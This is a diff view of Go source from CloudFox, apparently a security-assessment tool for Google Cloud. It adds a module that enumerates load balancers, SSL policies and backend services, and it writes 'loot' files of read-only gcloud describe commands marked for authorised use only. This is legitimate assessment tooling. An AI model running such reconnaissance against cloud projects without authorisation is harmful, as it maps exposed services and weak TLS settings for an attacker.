outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all projects with data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectCryptoKeys {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectKeyRings {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectsWithData {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = KMSOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_KMS_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *KMSModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allKeys := m.getAllCryptoKeys()
|
||||
allKeyRings := m.getAllKeyRings()
|
||||
|
||||
keysBody := m.keysToTableBody(allKeys)
|
||||
keyRingsBody := m.keyRingsToTableBody(allKeyRings)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build table files
|
||||
var tableFiles []internal.TableFile
|
||||
if len(keysBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_KMS_MODULE_NAME + "-keys",
|
||||
Header: m.getKeysHeader(),
|
||||
Body: keysBody,
|
||||
})
|
||||
}
|
||||
if len(keyRingsBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_KMS_MODULE_NAME + "-keyrings",
|
||||
Header: m.getKeyRingsHeader(),
|
||||
Body: keyRingsBody,
|
||||
})
|
||||
}
|
||||
|
||||
output := KMSOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_KMS_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
// formatPurpose formats key purpose for display
|
||||
func formatPurpose(purpose string) string {
|
||||
switch purpose {
|
||||
case "ENCRYPT_DECRYPT":
|
||||
return "Symmetric"
|
||||
case "ASYMMETRIC_SIGN":
|
||||
return "Sign"
|
||||
case "ASYMMETRIC_DECRYPT":
|
||||
return "Asymm Decrypt"
|
||||
case "MAC":
|
||||
return "MAC"
|
||||
default:
|
||||
return purpose
|
||||
}
|
||||
}
|
||||
|
||||
// formatDuration formats a duration string for display
|
||||
func formatDuration(duration string) string {
|
||||
// Duration is in format like "7776000s" (90 days)
|
||||
duration = strings.TrimSuffix(duration, "s")
|
||||
if duration == "" {
|
||||
return "-"
|
||||
}
|
||||
|
||||
// Parse seconds
|
||||
var seconds int64
|
||||
fmt.Sscanf(duration, "%d", &seconds)
|
||||
|
||||
if seconds == 0 {
|
||||
return "-"
|
||||
}
|
||||
|
||||
days := seconds / 86400
|
||||
if days > 0 {
|
||||
return fmt.Sprintf("%dd", days)
|
||||
}
|
||||
|
||||
hours := seconds / 3600
|
||||
if hours > 0 {
|
||||
return fmt.Sprintf("%dh", hours)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%ds", seconds)
|
||||
}
|
||||
Executable
+1014
File diff suppressed because it is too large.
Load diff
Executable
+514
@@ -0,0 +1,514 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
|
||||
diagramservice "github.com/BishopFox/cloudfox/gcp/services/diagramService"
|
||||
loadbalancerservice "github.com/BishopFox/cloudfox/gcp/services/loadbalancerService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPLoadBalancersCommand = &cobra.Command{
|
||||
Use: globals.GCP_LOADBALANCERS_MODULE_NAME,
|
||||
Aliases: []string{"lb", "lbs"},
|
||||
Short: "Enumerate Load Balancers",
|
||||
Long: `Enumerate Load Balancers and related configurations.
|
||||
|
||||
Features:
|
||||
- Lists all forwarding rules (global and regional)
|
||||
- Shows backend services and health checks
|
||||
- Analyzes SSL policies for weak configurations
|
||||
- Identifies external vs internal load balancers
|
||||
- Checks for Cloud Armor security policies`,
|
||||
Run: runGCPLoadBalancersCommand,
|
||||
}
|
||||
|
||||
type LoadBalancersModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectLoadBalancers map[string][]loadbalancerservice.LoadBalancerInfo // projectID -> load balancers
|
||||
ProjectSSLPolicies map[string][]loadbalancerservice.SSLPolicyInfo // projectID -> SSL policies
|
||||
ProjectBackendServices map[string][]loadbalancerservice.BackendServiceInfo // projectID -> backend services
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type LoadBalancersOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o LoadBalancersOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o LoadBalancersOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPLoadBalancersCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_LOADBALANCERS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &LoadBalancersModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectLoadBalancers: make(map[string][]loadbalancerservice.LoadBalancerInfo),
|
||||
ProjectSSLPolicies: make(map[string][]loadbalancerservice.SSLPolicyInfo),
|
||||
ProjectBackendServices: make(map[string][]loadbalancerservice.BackendServiceInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_LOADBALANCERS_MODULE_NAME, m.processProject)
|
||||
|
||||
allLoadBalancers := m.getAllLoadBalancers()
|
||||
allSSLPolicies := m.getAllSSLPolicies()
|
||||
allBackendServices := m.getAllBackendServices()
|
||||
|
||||
if len(allLoadBalancers) == 0 {
|
||||
logger.InfoM("No load balancers found", globals.GCP_LOADBALANCERS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
externalCount := 0
|
||||
for _, lb := range allLoadBalancers {
|
||||
if lb.Scheme == "EXTERNAL" {
|
||||
externalCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d load balancer(s) (%d external), %d SSL policies, %d backend services",
|
||||
len(allLoadBalancers), externalCount, len(allSSLPolicies), len(allBackendServices)), globals.GCP_LOADBALANCERS_MODULE_NAME)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) getAllLoadBalancers() []loadbalancerservice.LoadBalancerInfo {
|
||||
var all []loadbalancerservice.LoadBalancerInfo
|
||||
for _, lbs := range m.ProjectLoadBalancers {
|
||||
all = append(all, lbs...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) getAllSSLPolicies() []loadbalancerservice.SSLPolicyInfo {
|
||||
var all []loadbalancerservice.SSLPolicyInfo
|
||||
for _, policies := range m.ProjectSSLPolicies {
|
||||
all = append(all, policies...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) getAllBackendServices() []loadbalancerservice.BackendServiceInfo {
|
||||
var all []loadbalancerservice.BackendServiceInfo
|
||||
for _, services := range m.ProjectBackendServices {
|
||||
all = append(all, services...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating load balancers in project: %s", projectID), globals.GCP_LOADBALANCERS_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := loadbalancerservice.New()
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["loadbalancers-commands"] = &internal.LootFile{
|
||||
Name: "loadbalancers-commands",
|
||||
Contents: "# Load Balancer Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get load balancers
|
||||
lbs, err := svc.ListLoadBalancers(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_LOADBALANCERS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list load balancers in project %s", projectID))
|
||||
} else {
|
||||
m.mu.Lock()
|
||||
m.ProjectLoadBalancers[projectID] = lbs
|
||||
for _, lb := range lbs {
|
||||
m.addToLoot(projectID, lb)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Get SSL policies
|
||||
sslPolicies, err := svc.ListSSLPolicies(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_LOADBALANCERS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list SSL policies in project %s", projectID))
|
||||
} else {
|
||||
m.mu.Lock()
|
||||
m.ProjectSSLPolicies[projectID] = sslPolicies
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Get backend services
|
||||
backends, err := svc.ListBackendServices(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_LOADBALANCERS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list backend services in project %s", projectID))
|
||||
} else {
|
||||
m.mu.Lock()
|
||||
m.ProjectBackendServices[projectID] = backends
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) addToLoot(projectID string, lb loadbalancerservice.LoadBalancerInfo) {
|
||||
lootFile := m.LootMap[projectID]["loadbalancers-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# LOAD BALANCER: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Type: %s, Scheme: %s, IP: %s, Port: %s\n\n",
|
||||
lb.Name, lb.ProjectID, lb.Type, lb.Scheme, lb.IPAddress, lb.Port)
|
||||
|
||||
lootFile.Contents += "# === ENUMERATION COMMANDS ===\n\n"
|
||||
|
||||
// Describe forwarding rule
|
||||
if lb.Region == "global" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Describe global forwarding rule:\n"+
|
||||
"gcloud compute forwarding-rules describe %s --global --project=%s\n\n",
|
||||
lb.Name, lb.ProjectID)
|
||||
} else {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Describe regional forwarding rule:\n"+
|
||||
"gcloud compute forwarding-rules describe %s --region=%s --project=%s\n\n",
|
||||
lb.Name, lb.Region, lb.ProjectID)
|
||||
}
|
||||
|
||||
// Backend service commands
|
||||
for _, backend := range lb.BackendServices {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Describe backend service:\n"+
|
||||
"gcloud compute backend-services describe %s --global --project=%s\n\n",
|
||||
backend, lb.ProjectID)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Generate ASCII diagram and add to loot
|
||||
diagram := m.generateLoadBalancerDiagram()
|
||||
if diagram != "" {
|
||||
// Add diagram to the first project's loot
|
||||
for projectID := range m.LootMap {
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
}
|
||||
m.LootMap[projectID]["loadbalancers-diagram"] = &internal.LootFile{
|
||||
Name: "loadbalancers-diagram",
|
||||
Contents: diagram,
|
||||
}
|
||||
break // Only add once for flat output
|
||||
}
|
||||
|
||||
// For hierarchical output, add to all projects
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
for projectID := range m.LootMap {
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
}
|
||||
m.LootMap[projectID]["loadbalancers-diagram"] = &internal.LootFile{
|
||||
Name: "loadbalancers-diagram",
|
||||
Contents: diagram,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Diagram Generation
|
||||
// ------------------------------
|
||||
|
||||
// generateLoadBalancerDiagram creates an ASCII visualization of load balancer architecture
|
||||
func (m *LoadBalancersModule) generateLoadBalancerDiagram() string {
|
||||
allLBs := m.getAllLoadBalancers()
|
||||
if len(allLBs) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Build a map of backend service name -> actual backends (instance groups, NEGs)
|
||||
backendDetailsMap := make(map[string][]string)
|
||||
for _, backends := range m.ProjectBackendServices {
|
||||
for _, be := range backends {
|
||||
if len(be.Backends) > 0 {
|
||||
backendDetailsMap[be.Name] = be.Backends
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Convert to diagram service types
|
||||
diagramLBs := make([]diagramservice.LoadBalancerInfo, 0, len(allLBs))
|
||||
for _, lb := range allLBs {
|
||||
// Build backend details for this LB
|
||||
lbBackendDetails := make(map[string][]string)
|
||||
for _, beSvc := range lb.BackendServices {
|
||||
if targets, ok := backendDetailsMap[beSvc]; ok {
|
||||
lbBackendDetails[beSvc] = targets
|
||||
}
|
||||
}
|
||||
|
||||
diagramLBs = append(diagramLBs, diagramservice.LoadBalancerInfo{
|
||||
Name: lb.Name,
|
||||
Type: lb.Type,
|
||||
Scheme: lb.Scheme,
|
||||
IPAddress: lb.IPAddress,
|
||||
Port: lb.Port,
|
||||
Region: lb.Region,
|
||||
BackendServices: lb.BackendServices,
|
||||
SecurityPolicy: lb.SecurityPolicy,
|
||||
BackendDetails: lbBackendDetails,
|
||||
})
|
||||
}
|
||||
|
||||
// Determine project ID for header (use first project if multiple)
|
||||
projectID := ""
|
||||
if len(m.ProjectIDs) == 1 {
|
||||
projectID = m.ProjectIDs[0]
|
||||
}
|
||||
|
||||
return diagramservice.DrawLoadBalancerDiagram(diagramLBs, projectID, 90)
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) getLBHeader() []string {
|
||||
return []string{"Project", "Name", "Type", "Scheme", "Region", "IP Address", "Port", "Backend Services", "Security Policy"}
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) getSSLHeader() []string {
|
||||
return []string{"Project", "Name", "Min TLS Version", "Profile", "Custom Features"}
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) getBackendHeader() []string {
|
||||
return []string{"Project", "Name", "Protocol", "Port", "Security Policy", "CDN Enabled", "Health Check", "Session Affinity", "Backends"}
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) lbsToTableBody(lbs []loadbalancerservice.LoadBalancerInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, lb := range lbs {
|
||||
backends := "-"
|
||||
if len(lb.BackendServices) > 0 {
|
||||
backends = strings.Join(lb.BackendServices, ", ")
|
||||
}
|
||||
secPolicy := "-"
|
||||
if lb.SecurityPolicy != "" {
|
||||
secPolicy = lb.SecurityPolicy
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(lb.ProjectID),
|
||||
lb.Name,
|
||||
lb.Type,
|
||||
lb.Scheme,
|
||||
lb.Region,
|
||||
lb.IPAddress,
|
||||
lb.Port,
|
||||
backends,
|
||||
secPolicy,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) sslPoliciesToTableBody(policies []loadbalancerservice.SSLPolicyInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, policy := range policies {
|
||||
customFeatures := "-"
|
||||
if len(policy.CustomFeatures) > 0 {
|
||||
customFeatures = strings.Join(policy.CustomFeatures, ", ")
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(policy.ProjectID),
|
||||
policy.Name,
|
||||
policy.MinTLSVersion,
|
||||
policy.Profile,
|
||||
customFeatures,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) backendServicesToTableBody(services []loadbalancerservice.BackendServiceInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, be := range services {
|
||||
secPolicy := "-"
|
||||
if be.SecurityPolicy != "" {
|
||||
secPolicy = be.SecurityPolicy
|
||||
}
|
||||
healthCheck := "-"
|
||||
if be.HealthCheck != "" {
|
||||
healthCheck = be.HealthCheck
|
||||
}
|
||||
sessionAffinity := "-"
|
||||
if be.SessionAffinity != "" {
|
||||
sessionAffinity = be.SessionAffinity
|
||||
}
|
||||
backends := "-"
|
||||
if len(be.Backends) > 0 {
|
||||
backends = strings.Join(be.Backends, ", ")
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(be.ProjectID),
|
||||
be.Name,
|
||||
be.Protocol,
|
||||
fmt.Sprintf("%d", be.Port),
|
||||
secPolicy,
|
||||
shared.BoolToYesNo(be.EnableCDN),
|
||||
healthCheck,
|
||||
sessionAffinity,
|
||||
backends,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if lbs, ok := m.ProjectLoadBalancers[projectID]; ok && len(lbs) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "load-balancers-frontends",
|
||||
Header: m.getLBHeader(),
|
||||
Body: m.lbsToTableBody(lbs),
|
||||
})
|
||||
}
|
||||
|
||||
if policies, ok := m.ProjectSSLPolicies[projectID]; ok && len(policies) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "ssl-policies",
|
||||
Header: m.getSSLHeader(),
|
||||
Body: m.sslPoliciesToTableBody(policies),
|
||||
})
|
||||
}
|
||||
|
||||
if services, ok := m.ProjectBackendServices[projectID]; ok && len(services) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "load-balancers-backend-services",
|
||||
Header: m.getBackendHeader(),
|
||||
Body: m.backendServicesToTableBody(services),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectLoadBalancers {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectSSLPolicies {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectBackendServices {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = LoadBalancersOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_LOADBALANCERS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *LoadBalancersModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allLBs := m.getAllLoadBalancers()
|
||||
allSSL := m.getAllSSLPolicies()
|
||||
allBackends := m.getAllBackendServices()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allLBs) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "load-balancers-frontends",
|
||||
Header: m.getLBHeader(),
|
||||
Body: m.lbsToTableBody(allLBs),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allSSL) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "ssl-policies",
|
||||
Header: m.getSSLHeader(),
|
||||
Body: m.sslPoliciesToTableBody(allSSL),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allBackends) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "load-balancers-backend-services",
|
||||
Header: m.getBackendHeader(),
|
||||
Body: m.backendServicesToTableBody(allBackends),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := LoadBalancersOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_LOADBALANCERS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
Loaded 100 of 212 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user